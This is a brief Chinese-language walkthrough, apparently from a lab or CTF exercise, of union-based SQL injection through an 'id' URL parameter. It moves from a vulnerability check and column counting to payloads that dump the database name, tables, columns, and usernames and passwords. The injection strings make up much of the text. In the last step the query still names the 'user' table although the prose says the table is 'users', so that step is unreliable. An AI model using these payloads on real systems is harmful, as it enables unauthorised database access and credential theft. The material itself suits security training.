1.判断是否存在漏洞
添加and 1=1发现正常显示,添加and 1=2无回显条目,则存在sql注入漏洞

2.因为有回显,尝试union联合注入,使用order by判断出有3个字段

3.使用union联合注入查看回显位,发现3三个字段均有回显,任意使用字段注入即可

4.获取数据库名
?id=-1 union select database(),2,3

5.获取表名,这时候发现如果使用1和2回显位会显示报错,那么可以使用3回显位回显
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

6.猜测用户可能存在user或users表中,先使用user表查看字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user"

7.查看id=1的username和password
这里应该不是user表,真是用户存在users表,将表名改为users一样
?id=-1 union select 1,2,group_concat(username,',',password) from user where id=1
